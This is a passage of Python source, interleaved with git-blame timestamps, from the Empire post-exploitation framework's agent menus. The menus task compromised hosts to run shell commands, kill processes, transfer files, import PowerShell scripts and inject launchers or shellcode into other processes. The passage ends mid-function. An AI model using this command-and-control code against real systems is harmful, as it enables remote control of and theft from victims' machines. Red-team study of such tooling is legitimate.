2015-08-10 02:18:02 +00:00
# update the agent log
2016-09-23 18:04:35 +00:00
msg = "Tasked agent to change lost limit %s" % (lostLimit)
2015-08-10 02:18:02 +00:00
self.mainMenu.agents.save_agent_log(sessionID, msg)
else:
print helpers.color("[!] Invalid agent name")
2015-08-05 18:36:39 +00:00
2015-08-05 18:36:39 +00:00
def do_killdate(self, line):
"Set the killdate for one or more agents (killdate [agent/all] 01/01/2016)."
2016-09-23 18:04:35 +00:00
parts = line.strip().split(' ')
2015-08-05 18:36:39 +00:00
if len(parts) == 1:
2016-09-23 18:04:35 +00:00
print helpers.color("[!] Usage: 'killdate [agent/all] [01/01/2016]'")
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
elif parts[0].lower() == 'all':
2015-08-05 18:36:39 +00:00
date = parts[1]
2016-09-23 18:04:35 +00:00
allAgents = self.mainMenu.agents.get_agents_db()
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
for agent in allAgents:
sessionID = agent['session_id']
2015-08-05 18:36:39 +00:00
# update this agent's field in the database
2016-09-23 18:04:35 +00:00
self.mainMenu.agents.set_agent_field_db('kill_date', date, sessionID)
2015-08-05 18:36:39 +00:00
# task the agent
2016-09-23 18:04:35 +00:00
self.mainMenu.agents.add_agent_task_db(sessionID, 'TASK_SHELL', "Set-KillDate " + str(date))
2015-08-05 18:36:39 +00:00
msg = "Tasked agent to set killdate to " + str(date)
self.mainMenu.agents.save_agent_log(sessionID, msg)
else:
# extract the sessionID and clear the agent tasking
2016-09-23 18:04:35 +00:00
sessionID = self.mainMenu.agents.get_agent_id_db(parts[0])
2015-08-05 18:36:39 +00:00
date = parts[1]
if sessionID and len(sessionID) != 0:
# update this agent's field in the database
2016-09-23 18:04:35 +00:00
self.mainMenu.agents.set_agent_field_db('kill_date', date, sessionID)
2015-08-05 18:36:39 +00:00
# task the agent
2016-09-23 18:04:35 +00:00
self.mainMenu.agents.add_agent_task_db(sessionID, 'TASK_SHELL', "Set-KillDate " + str(date))
2015-08-05 18:36:39 +00:00
# update the agent log
msg = "Tasked agent to set killdate to " + str(date)
self.mainMenu.agents.save_agent_log(sessionID, msg)
else:
print helpers.color("[!] Invalid agent name")
def do_workinghours(self, line):
"Set the workinghours for one or more agents (workinghours [agent/all] 9:00-17:00)."
2016-09-23 18:04:35 +00:00
parts = line.strip().split(' ')
2015-08-05 18:36:39 +00:00
if len(parts) == 1:
2016-09-23 18:04:35 +00:00
print helpers.color("[!] Usage: 'workinghours [agent/all] [9:00-17:00]'")
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
elif parts[0].lower() == 'all':
2015-08-05 18:36:39 +00:00
hours = parts[1]
2016-09-23 18:04:35 +00:00
hours = hours.replace(',', '-')
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
allAgents = self.mainMenu.agents.get_agents_db()
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
for agent in allAgents:
sessionID = agent['session_id']
2015-08-05 18:36:39 +00:00
# update this agent's field in the database
2016-09-23 18:04:35 +00:00
self.mainMenu.agents.set_agent_field_db('working_hours', hours, sessionID)
2015-08-05 18:36:39 +00:00
# task the agent
2016-09-23 18:04:35 +00:00
self.mainMenu.agents.add_agent_task_db(sessionID, 'TASK_SHELL', "Set-WorkingHours " + str(hours))
msg = "Tasked agent to set working hours to %s" % (hours)
2015-08-05 18:36:39 +00:00
self.mainMenu.agents.save_agent_log(sessionID, msg)
else:
# extract the sessionID and clear the agent tasking
2016-09-23 18:04:35 +00:00
sessionID = self.mainMenu.agents.get_agent_id_db(parts[0])
2015-08-05 18:36:39 +00:00
hours = parts[1]
hours = hours.replace(",", "-")
2015-08-05 18:36:39 +00:00
if sessionID and len(sessionID) != 0:
# update this agent's field in the database
2016-09-23 18:04:35 +00:00
self.mainMenu.agents.set_agent_field_db('working_hours', hours, sessionID)
2015-08-05 18:36:39 +00:00
# task the agent
2016-09-23 18:04:35 +00:00
self.mainMenu.agents.add_agent_task_db(sessionID, 'TASK_SHELL', "Set-WorkingHours " + str(hours))
2015-08-05 18:36:39 +00:00
# update the agent log
2016-09-23 18:04:35 +00:00
msg = "Tasked agent to set working hours to %s" % (hours)
2015-08-05 18:36:39 +00:00
self.mainMenu.agents.save_agent_log(sessionID, msg)
else:
print helpers.color("[!] Invalid agent name")
def do_remove(self, line):
"Remove one or more agents from the database."
name = line.strip()
2016-09-23 18:04:35 +00:00
if name.lower() == 'all':
2015-08-05 18:36:39 +00:00
try:
2016-09-23 18:04:35 +00:00
choice = raw_input(helpers.color('[>] Remove all agents from the database? [y/N] ', 'red'))
if choice.lower() != '' and choice.lower()[0] == 'y':
self.mainMenu.agents.remove_agent_db('%')
except KeyboardInterrupt:
2016-09-23 18:04:35 +00:00
print ''
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
elif name.lower() == 'stale':
# remove 'stale' agents that have missed their checkin intervals
2016-09-23 18:04:35 +00:00
allAgents = self.mainMenu.agents.get_agents_db()
2016-09-23 18:04:35 +00:00
for agent in allAgents:
2016-09-23 18:04:35 +00:00
sessionID = agent['session_id']
# max check in -> delay + delay*jitter
2016-09-23 18:04:35 +00:00
intervalMax = (agent['delay'] + agent['delay'] * agent['jitter']) + 30
# get the agent last check in time
2016-09-23 18:04:35 +00:00
agentTime = time.mktime(time.strptime(agent['lastseen_time'], "%Y-%m-%d %H:%M:%S"))
2016-09-23 18:04:35 +00:00
if agentTime < time.mktime(time.localtime()) - intervalMax:
# if the last checkin time exceeds the limit, remove it
2016-09-23 18:04:35 +00:00
self.mainMenu.agents.remove_agent_db(sessionID)
elif name.isdigit():
# if we're removing agents that checked in longer than X minutes ago
2016-09-23 18:04:35 +00:00
allAgents = self.mainMenu.agents.get_agents_db()
try:
minutes = int(line.strip())
# grab just the agents active within the specified window (in minutes)
2016-09-23 18:04:35 +00:00
for agent in allAgents:
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
sessionID = agent['session_id']
# get the agent last check in time
2016-09-23 18:04:35 +00:00
agentTime = time.mktime(time.strptime(agent['lastseen_time'], "%Y-%m-%d %H:%M:%S"))
if agentTime < time.mktime(time.localtime()) - (int(minutes) * 60):
# if the last checkin time exceeds the limit, remove it
2016-09-23 18:04:35 +00:00
self.mainMenu.agents.remove_agent_db(sessionID)
except:
print helpers.color("[!] Please enter the minute window for agent checkin.")
else:
2015-08-05 18:36:39 +00:00
# extract the sessionID and clear the agent tasking
2016-09-23 18:04:35 +00:00
sessionID = self.mainMenu.agents.get_agent_id_db(name)
2015-08-05 18:36:39 +00:00
if sessionID and len(sessionID) != 0:
2016-09-23 18:04:35 +00:00
self.mainMenu.agents.remove_agent_db(sessionID)
2015-08-05 18:36:39 +00:00
else:
print helpers.color("[!] Invalid agent name")
def do_usestager(self, line):
"Use an Empire stager."
2016-09-23 18:04:35 +00:00
parts = line.split(' ')
2015-08-05 18:36:39 +00:00
if parts[0] not in self.mainMenu.stagers.stagers:
print helpers.color("[!] Error: invalid stager module")
elif len(parts) == 1:
stager_menu = StagerMenu(self.mainMenu, parts[0])
stager_menu.cmdloop()
2015-08-05 18:36:39 +00:00
elif len(parts) == 2:
listener = parts[1]
if not self.mainMenu.listeners.is_listener_valid(listener):
print helpers.color("[!] Please enter a valid listener name or ID")
else:
self.mainMenu.stagers.set_stager_option('Listener', listener)
stager_menu = StagerMenu(self.mainMenu, parts[0])
stager_menu.cmdloop()
2015-08-05 18:36:39 +00:00
else:
print helpers.color("[!] Error in AgentsMenu's do_userstager()")
def do_usemodule(self, line):
"Use an Empire PowerShell module."
module = line.strip()
if module not in self.mainMenu.modules.modules:
print helpers.color("[!] Error: invalid module")
else:
# set agent to "all"
module_menu = ModuleMenu(self.mainMenu, line, agent="all")
module_menu.cmdloop()
2015-08-05 18:36:39 +00:00
def do_searchmodule(self, line):
"Search Empire module names/descriptions."
searchTerm = line.strip()
if searchTerm.strip() == "":
print helpers.color("[!] Please enter a search term.")
else:
self.mainMenu.modules.search_modules(searchTerm)
def complete_interact(self, text, line, begidx, endidx):
"Tab-complete an interact command"
2016-09-23 18:04:35 +00:00
names = self.mainMenu.agents.get_agent_names_db()
2015-08-05 18:36:39 +00:00
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in names if s.startswith(mline)]
def complete_rename(self, text, line, begidx, endidx):
"Tab-complete a rename command"
return self.complete_interact(text, line, begidx, endidx)
def complete_clear(self, text, line, begidx, endidx):
"Tab-complete a clear command"
2016-09-23 18:04:35 +00:00
names = self.mainMenu.agents.get_agent_names_db() + ["all", "autorun"]
2015-08-05 18:36:39 +00:00
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in names if s.startswith(mline)]
def complete_remove(self, text, line, begidx, endidx):
"Tab-complete a remove command"
2016-09-23 18:04:35 +00:00
names = self.mainMenu.agents.get_agent_names_db() + ["all", "stale"]
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in names if s.startswith(mline)]
2016-04-15 18:42:12 +00:00
def complete_list(self, text, line, begidx, endidx):
"Tab-complete a list command"
options = ["stale"]
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in options if s.startswith(mline)]
2015-08-05 18:36:39 +00:00
def complete_kill(self, text, line, begidx, endidx):
"Tab-complete a kill command"
return self.complete_clear(text, line, begidx, endidx)
def complete_sleep(self, text, line, begidx, endidx):
"Tab-complete a sleep command"
return self.complete_clear(text, line, begidx, endidx)
2015-08-10 22:50:18 +00:00
def complete_lostlimit(self, text, line, begidx, endidx):
"Tab-complete a lostlimit command"
2015-08-10 02:18:02 +00:00
return self.complete_clear(text, line, begidx, endidx)
2015-08-05 18:36:39 +00:00
2015-08-05 18:36:39 +00:00
def complete_killdate(self, text, line, begidx, endidx):
"Tab-complete a killdate command"
return self.complete_clear(text, line, begidx, endidx)
def complete_workinghours(self, text, line, begidx, endidx):
"Tab-complete a workinghours command"
return self.complete_clear(text, line, begidx, endidx)
def complete_usemodule(self, text, line, begidx, endidx):
"Tab-complete an Empire PowerShell module path"
return self.mainMenu.complete_usemodule(text, line, begidx, endidx)
def complete_usestager(self, text, line, begidx, endidx):
"Tab-complete an Empire stager module path."
return self.mainMenu.complete_usestager(text, line, begidx, endidx)
def complete_creds(self, text, line, begidx, endidx):
"Tab-complete 'creds' commands."
return self.mainMenu.complete_creds(text, line, begidx, endidx)
class AgentMenu(cmd.Cmd):
2016-09-23 18:04:35 +00:00
"""
An abstracted class used by Empire to determine which agent menu type
to instantiate.
"""
def __init__(self, mainMenu, sessionID):
agentLanguage = mainMenu.agents.get_language_db(sessionID)
if agentLanguage.lower() == 'powershell':
agent_menu = PowerShellAgentMenu(mainMenu, sessionID)
agent_menu.cmdloop()
elif agentLanguage.lower() == 'python':
agent_menu = PythonAgentMenu(mainMenu, sessionID)
agent_menu.cmdloop()
else:
print helpers.color("[!] Agent language %s not recognized." % (agentLanguage))
class PowerShellAgentMenu(cmd.Cmd):
"""
The main class used by Empire to drive an individual 'agent' menu.
"""
2015-08-05 18:36:39 +00:00
def __init__(self, mainMenu, sessionID):
cmd.Cmd.__init__(self)
self.mainMenu = mainMenu
self.sessionID = sessionID
self.doc_header = 'Agent Commands'
# try to resolve the sessionID to a name
2016-09-23 18:04:35 +00:00
name = self.mainMenu.agents.get_agent_name_db(sessionID)
2015-08-05 18:36:39 +00:00
# set the text prompt
self.prompt = '(Empire: ' + helpers.color(name, 'red') + ') > '
2015-08-05 18:36:39 +00:00
# agent commands that have opsec-safe alises in the agent code
2016-09-23 18:04:35 +00:00
self.agentCommands = ['ls', 'dir', 'rm', 'del', 'cp', 'copy', 'pwd', 'cat', 'cd', 'mkdir', 'rmdir', 'mv', 'move', 'ipconfig', 'ifconfig', 'route', 'reboot', 'restart', 'shutdown', 'ps', 'tasklist', 'getpid', 'whoami', 'getuid', 'hostname']
2015-08-05 18:36:39 +00:00
# display any results from the database that were stored
# while we weren't interacting with the agent
2016-09-23 18:04:35 +00:00
results = self.mainMenu.agents.get_agent_results_db(self.sessionID)
2015-08-05 18:36:39 +00:00
if results:
print "\n" + results.rstrip('\r\n')
2016-09-23 18:04:35 +00:00
# listen for messages from this specific agent
dispatcher.connect(self.handle_agent_event, sender=dispatcher.Any)
# def preloop(self):
# traceback.print_stack()
2015-08-05 18:36:39 +00:00
def handle_agent_event(self, signal, sender):
"""
Handle agent event signals.
"""
2016-09-23 18:04:35 +00:00
if '[!] Agent' in signal and 'exiting' in signal:
pass
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
name = self.mainMenu.agents.get_agent_name_db(self.sessionID)
2015-08-05 18:36:39 +00:00
if (str(self.sessionID) + " returned results" in signal) or (str(name) + " returned results" in signal):
# display any results returned by this agent that are returned
# while we are interacting with it
2016-09-23 18:04:35 +00:00
results = self.mainMenu.agents.get_agent_results_db(self.sessionID)
2015-08-05 18:36:39 +00:00
if results:
print "\n" + results
elif "[+] Part of file" in signal and "saved" in signal:
if (str(self.sessionID) in signal) or (str(name) in signal):
print helpers.color(signal)
# print a nicely formatted help menu
# stolen/adapted from recon-ng
def print_topics(self, header, commands, cmdlen, maxcol):
if commands:
self.stdout.write("%s\n" % str(header))
2015-08-05 18:36:39 +00:00
if self.ruler:
self.stdout.write("%s\n" % str(self.ruler * len(header)))
for command in commands:
self.stdout.write("%s %s\n" % (command.ljust(17), getattr(self, 'do_' + command).__doc__))
2015-08-05 18:36:39 +00:00
self.stdout.write("\n")
def emptyline(self):
pass
2015-08-05 18:36:39 +00:00
def default(self, line):
"Default handler"
line = line.strip()
2016-09-23 18:04:35 +00:00
parts = line.split(' ')
2015-08-05 18:36:39 +00:00
if len(parts) > 0:
# check if we got an agent command
if parts[0] in self.agentCommands:
2016-09-23 18:04:35 +00:00
shellcmd = ' '.join(parts)
2015-08-05 18:36:39 +00:00
# task the agent with this shell command
2016-09-23 18:04:35 +00:00
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", shellcmd)
2015-08-05 18:36:39 +00:00
# update the agent log
msg = "Tasked agent to run command " + line
2015-08-05 18:36:39 +00:00
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
else:
print helpers.color("[!] Command not recognized.")
print helpers.color("[*] Use 'help' or 'help agentcmds' to see available commands.")
2015-08-05 18:36:39 +00:00
def do_back(self, line):
"Go back a menu."
return True
2016-03-22 18:32:47 +00:00
def do_agents(self, line):
"Jump to the Agents menu."
raise NavAgents()
2015-08-05 18:36:39 +00:00
def do_listeners(self, line):
"Jump to the listeners menu."
raise NavListeners()
2016-03-22 18:32:47 +00:00
def do_main(self, line):
"Go back to the main menu."
raise NavMain()
def do_help(self, *args):
"Displays the help menu or syntax for particular commands."
if args[0].lower() == "agentcmds":
print "\n" + helpers.color("[*] Available opsec-safe agent commands:\n")
2016-09-23 18:04:35 +00:00
print " " + messages.wrap_columns(", ".join(self.agentCommands), ' ', width1=50, width2=10, indent=5) + "\n"
else:
cmd.Cmd.do_help(self, *args)
def do_list(self, line):
"Lists all active agents (or listeners)."
if line.lower().startswith("listeners"):
2016-09-23 18:04:35 +00:00
self.mainMenu.do_list("listeners " + str(' '.join(line.split(' ')[1:])))
elif line.lower().startswith("agents"):
2016-09-23 18:04:35 +00:00
self.mainMenu.do_list("agents " + str(' '.join(line.split(' ')[1:])))
else:
print helpers.color("[!] Please use 'list [agents/listeners] <modifier>'.")
2015-08-05 18:36:39 +00:00
def do_rename(self, line):
"Rename the agent."
2016-09-23 18:04:35 +00:00
parts = line.strip().split(' ')
oldname = self.mainMenu.agents.get_agent_name_db(self.sessionID)
2015-08-05 18:36:39 +00:00
# name sure we get a new name to rename this agent
2016-09-23 18:04:35 +00:00
if len(parts) == 1 and parts[0].strip() != '':
2015-08-05 18:36:39 +00:00
# replace the old name with the new name
result = self.mainMenu.agents.rename_agent(oldname, parts[0])
if result:
self.prompt = "(Empire: " + helpers.color(parts[0], 'red') + ") > "
2015-08-05 18:36:39 +00:00
else:
print helpers.color("[!] Please enter a new name for the agent")
def do_info(self, line):
"Display information about this agent"
# get the agent name, if applicable
2016-09-23 18:04:35 +00:00
agent = self.mainMenu.agents.get_agent_db(self.sessionID)
2015-08-05 18:36:39 +00:00
messages.display_agent(agent)
def do_exit(self, line):
"Task agent to exit."
try:
choice = raw_input(helpers.color("[>] Task agent to exit? [y/N] ", "red"))
if choice.lower() != "" and choice.lower()[0] == "y":
2016-09-23 18:04:35 +00:00
self.mainMenu.agents.add_agent_task_db(self.sessionID, 'TASK_EXIT')
2015-08-05 18:36:39 +00:00
# update the agent log
self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to exit")
return True
except KeyboardInterrupt:
print ""
2015-08-05 18:36:39 +00:00
def do_clear(self, line):
"Clear out agent tasking."
2016-09-23 18:04:35 +00:00
self.mainMenu.agents.clear_agent_tasks_db(self.sessionID)
2015-08-05 18:36:39 +00:00
def do_jobs(self, line):
"Return jobs or kill a running job."
2016-09-23 18:04:35 +00:00
parts = line.split(' ')
2015-08-05 18:36:39 +00:00
if len(parts) == 1:
if parts[0] == '':
2016-09-23 18:04:35 +00:00
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_GETJOBS")
2015-08-05 18:36:39 +00:00
# update the agent log
self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get running jobs")
else:
print helpers.color("[!] Please use form 'jobs kill JOB_ID'")
elif len(parts) == 2:
jobID = parts[1].strip()
2016-09-23 18:04:35 +00:00
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_STOPJOB", jobID)
2015-08-05 18:36:39 +00:00
# update the agent log
self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to stop job " + str(jobID))
def do_sleep(self, line):
"Task an agent to 'sleep interval [jitter]'"
2016-09-23 18:04:35 +00:00
parts = line.strip().split(' ')
2015-08-05 18:36:39 +00:00
if len(parts) > 0 and parts[0] != "":
delay = parts[0]
jitter = 0.0
if len(parts) == 2:
jitter = parts[1]
# update this agent's information in the database
2016-09-23 18:04:35 +00:00
self.mainMenu.agents.set_agent_field_db("delay", delay, self.sessionID)
self.mainMenu.agents.set_agent_field_db("jitter", jitter, self.sessionID)
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", "Set-Delay " + str(delay) + ' ' + str(jitter))
2015-08-05 18:36:39 +00:00
# update the agent log
msg = "Tasked agent to delay sleep/jitter " + str(delay) + "/" + str(jitter)
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
2015-08-10 22:50:18 +00:00
def do_lostlimit(self, line):
"Task an agent to change the limit on lost agent detection"
2015-08-10 02:18:02 +00:00
2016-09-23 18:04:35 +00:00
parts = line.strip().split(' ')
2015-08-10 02:18:02 +00:00
if len(parts) > 0 and parts[0] != "":
2015-08-10 22:50:18 +00:00
lostLimit = parts[0]
2015-08-10 02:18:02 +00:00
# update this agent's information in the database
2016-09-23 18:04:35 +00:00
self.mainMenu.agents.set_agent_field_db("lost_limit", lostLimit, self.sessionID)
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", "Set-LostLimit " + str(lostLimit))
2015-08-10 02:18:02 +00:00
# update the agent log
2015-08-10 22:50:18 +00:00
msg = "Tasked agent to change lost limit " + str(lostLimit)
2015-08-10 02:18:02 +00:00
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
2015-08-05 18:36:39 +00:00
def do_kill(self, line):
"Task an agent to kill a particular process name or ID."
2016-09-23 18:04:35 +00:00
parts = line.strip().split(' ')
2015-08-05 18:36:39 +00:00
process = parts[0]
if process == "":
print helpers.color("[!] Please enter a process name or ID.")
else:
# if we were passed a process ID
if process.isdigit():
command = "Stop-Process " + str(process) + " -Force"
else:
# otherwise assume we were passed a process name
# so grab all processes by this name and kill them
command = "Get-Process " + str(process) + " | %{Stop-Process $_.Id -Force}"
2016-09-23 18:04:35 +00:00
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", command)
2015-08-05 18:36:39 +00:00
# update the agent log
msg = "Tasked agent to kill process: " + str(process)
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
def do_killdate(self, line):
"Get or set an agent's killdate (01/01/2016)."
2016-09-23 18:04:35 +00:00
parts = line.strip().split(' ')
2015-08-05 18:36:39 +00:00
date = parts[0]
if date == "":
2016-09-23 18:04:35 +00:00
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", "Get-KillDate")
2015-08-05 18:36:39 +00:00
self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get KillDate")
else:
# update this agent's information in the database
2016-09-23 18:04:35 +00:00
self.mainMenu.agents.set_agent_field_db("kill_date", date, self.sessionID)
2015-08-05 18:36:39 +00:00
# task the agent
2016-09-23 18:04:35 +00:00
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", "Set-KillDate " + str(date))
2015-08-05 18:36:39 +00:00
# update the agent log
msg = "Tasked agent to set killdate to " + str(date)
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
def do_workinghours(self, line):
"Get or set an agent's working hours (9:00-17:00)."
2016-09-23 18:04:35 +00:00
parts = line.strip().split(' ')
2015-08-05 18:36:39 +00:00
hours = parts[0]
if hours == "":
2016-09-23 18:04:35 +00:00
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", "Get-WorkingHours")
2015-08-05 18:36:39 +00:00
self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get working hours")
else:
hours = hours.replace(",", "-")
2015-08-05 18:36:39 +00:00
# update this agent's information in the database
2016-09-23 18:04:35 +00:00
self.mainMenu.agents.set_agent_field_db("working_hours", hours, self.sessionID)
2015-08-05 18:36:39 +00:00
# task the agent
2016-09-23 18:04:35 +00:00
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", "Set-WorkingHours " + str(hours))
2015-08-05 18:36:39 +00:00
# update the agent log
msg = "Tasked agent to set working hours to " + str(hours)
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
def do_shell(self, line):
"Task an agent to use a shell command."
2015-08-05 18:36:39 +00:00
line = line.strip()
if line != "":
# task the agent with this shell command
self.mainMenu.agents.add_agent_ta
sk_db(self.sessionID, "TASK_SHELL", "shell " + str(line))
2015-08-05 18:36:39 +00:00
# update the agent log
msg = "Tasked agent to run shell command " + line
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
2015-08-05 18:36:39 +00:00
def do_sysinfo(self, line):
"Task an agent to get system information."
2015-08-05 18:36:39 +00:00
# task the agent with this shell command
2016-09-23 18:04:35 +00:00
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SYSINFO")
2015-08-05 18:36:39 +00:00
# update the agent log
self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get system information")
def do_download(self, line):
2015-08-05 18:36:39 +00:00
"Task an agent to download a file."
line = line.strip()
if line != "":
2016-09-23 18:04:35 +00:00
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_DOWNLOAD", line)
2015-08-05 18:36:39 +00:00
# update the agent log
msg = "Tasked agent to download " + line
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
def do_upload(self, line):
2015-08-05 18:36:39 +00:00
"Task an agent to upload a file."
# "upload /path/file.ext" or "upload /path/file/file.ext newfile.ext"
# absolute paths accepted
2016-09-23 18:04:35 +00:00
parts = line.strip().split(' ')
2015-08-05 18:36:39 +00:00
uploadname = ""
2015-08-05 18:36:39 +00:00
if len(parts) > 0 and parts[0] != "":
if len(parts) == 1:
# if we're uploading the file with its original name
uploadname = os.path.basename(parts[0])
else:
# if we're uploading the file as a different name
uploadname = parts[1].strip()
if parts[0] != "" and os.path.exists(parts[0]):
# read in the file and base64 encode it for transport
open_file = open(parts[0], 'r')
file_data = open_file.read()
open_file.close()
2015-08-05 18:36:39 +00:00
# update the agent log with the filename and MD5
msg = "Tasked agent to upload %s : %s" % (parts[0], hashlib.md5(file_data).hexdigest())
2015-08-05 18:36:39 +00:00
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
# upload packets -> "filename | script data"
file_data = helpers.encode_base64(file_data)
data = uploadname + "|" + file_data
2016-09-23 18:04:35 +00:00
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_UPLOAD", data)
2015-08-05 18:36:39 +00:00
else:
print helpers.color("[!] Please enter a valid file path to upload")
def do_scriptimport(self, line):
"Imports a PowerShell script and keeps it in memory in the agent."
2015-08-05 18:36:39 +00:00
path = line.strip()
if path != "" and os.path.exists(path):
open_file = open(path, 'r')
script_data = open_file.read()
open_file.close()
2015-08-05 18:36:39 +00:00
# strip out comments and blank lines from the imported script
script_data = helpers.strip_powershell_comments(script_data)
2015-08-05 18:36:39 +00:00
# task the agent to important the script
2016-09-23 18:04:35 +00:00
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SCRIPT_IMPORT", script_data)
2015-08-05 18:36:39 +00:00
# update the agent log with the filename and MD5
msg = "Tasked agent to import %s : %s" % (path, hashlib.md5(script_data).hexdigest())
2015-08-05 18:36:39 +00:00
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
# extract the functions from the script so we can tab-complete them
functions = helpers.parse_powershell_script(script_data)
2015-08-05 18:36:39 +00:00
# set this agent's tab-completable functions
2016-10-06 18:32:33 +00:00
self.mainMenu.agents.set_agent_functions_db(self.sessionID, functions)
2015-08-05 18:36:39 +00:00
else:
print helpers.color("[!] Please enter a valid script path")
def do_scriptcmd(self, line):
"Execute a function in the currently imported PowerShell script."
command = line.strip()
if command != "":
2016-09-23 18:04:35 +00:00
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SCRIPT_COMMAND", command)
msg = "[*] Tasked agent %s to run %s" % (self.sessionID, command)
2015-08-05 18:36:39 +00:00
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
def do_usemodule(self, line):
"Use an Empire PowerShell module."
2016-09-23 18:04:35 +00:00
module = "powershell/%s" %(line.strip())
2015-08-05 18:36:39 +00:00
if module not in self.mainMenu.modules.modules:
print helpers.color("[!] Error: invalid module")
else:
2016-09-23 18:04:35 +00:00
module_menu = ModuleMenu(self.mainMenu, module, agent=self.sessionID)
module_menu.cmdloop()
2015-08-05 18:36:39 +00:00
def do_searchmodule(self, line):
"Search Empire module names/descriptions."
search_term = line.strip()
2015-08-05 18:36:39 +00:00
if search_term.strip() == "":
2015-08-05 18:36:39 +00:00
print helpers.color("[!] Please enter a search term.")
else:
self.mainMenu.modules.search_modules(search_term)
2015-08-05 18:36:39 +00:00
def do_updateprofile(self, line):
"Update an agent connection profile."
# profile format:
# TaskURI1,TaskURI2,...|UserAgent|OptionalHeader1,OptionalHeader2...
2015-08-05 18:36:39 +00:00
profile = line.strip().strip()
if profile != "":
2015-08-05 18:36:39 +00:00
# load up a profile from a file if a path was passed
if os.path.exists(profile):
open_file = open(profile, 'r')
profile = open_file.readlines()
open_file.close()
2015-08-05 18:36:39 +00:00
# strip out profile comments and blank lines
profile = [l for l in profile if not l.startswith("#" and l.strip() != "")]
2015-08-05 18:36:39 +00:00
profile = profile[0]
2015-08-05 18:36:39 +00:00
if not profile.strip().startswith("\"/"):
print helpers.color("[!] Task URIs in profiles must start with / and be enclosed in quotes!")
else:
updatecmd = "Update-Profile " + profile
# task the agent to update their profile
2016-09-23 18:04:35 +00:00
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", updatecmd)
2015-08-05 18:36:39 +00:00
# update the agent log
msg = "Tasked agent to update profile " + profile
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
else:
print helpers.color("[*] Profile format is \"TaskURI1,TaskURI2,...|UserAgent|OptionalHeader2:Val1|OptionalHeader2:Val2...\"")
def do_psinject(self, line):
2016-09-23 18:04:35 +00:00
"Inject a launcher into a remote process. Ex. psinject <listener> <pid/process_name>"
2015-08-05 18:36:39 +00:00
# get the info for the psinject module
if line:
2016-09-23 18:04:35 +00:00
if self.mainMenu.modules.modules['powershell/management/psinject']:
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
module = self.mainMenu.modules.modules['powershell/management/psinject']
listenerID = line.split(' ')[0].strip()
module.options['Listener']['Value'] = listenerID
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
if listenerID != '' and self.mainMenu.listeners.is_listener_valid(listenerID):
if len(line.split(' ')) == 2:
target = line.split(' ')[1].strip()
if target.isdigit():
module.options['ProcId']['Value'] = target
module.options['ProcName']['Value'] = ''
else:
module.options['ProcName']['Value'] = target
module.options['ProcId']['Value'] = ''
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID)
module_menu = ModuleMenu(self.mainMenu, 'powershell/management/psinject')
module_menu.cmdloop()
2015-08-05 18:36:39 +00:00
else:
print helpers.color("[!] Please enter <listenerName> <pid>")
else:
2016-09-23 18:04:35 +00:00
print helpers.color("[!] powershell/management/psinject module not loaded")
2015-08-05 18:36:39 +00:00
else:
print helpers.color("[!] Injection requires you to specify listener")
def do_injectshellcode(self, line):
"Inject listener shellcode into a remote process. Ex. injectshellcode <meter_listener> <pid>"
2015-08-05 18:36:39 +00:00
# get the info for the inject module
if line:
2016-09-23 18:04:35 +00:00
listenerID = line.split(' ')[0].strip()
pid = ''
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
if len(line.split(' ')) == 2:
pid = line.split(' ')[1].strip()
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
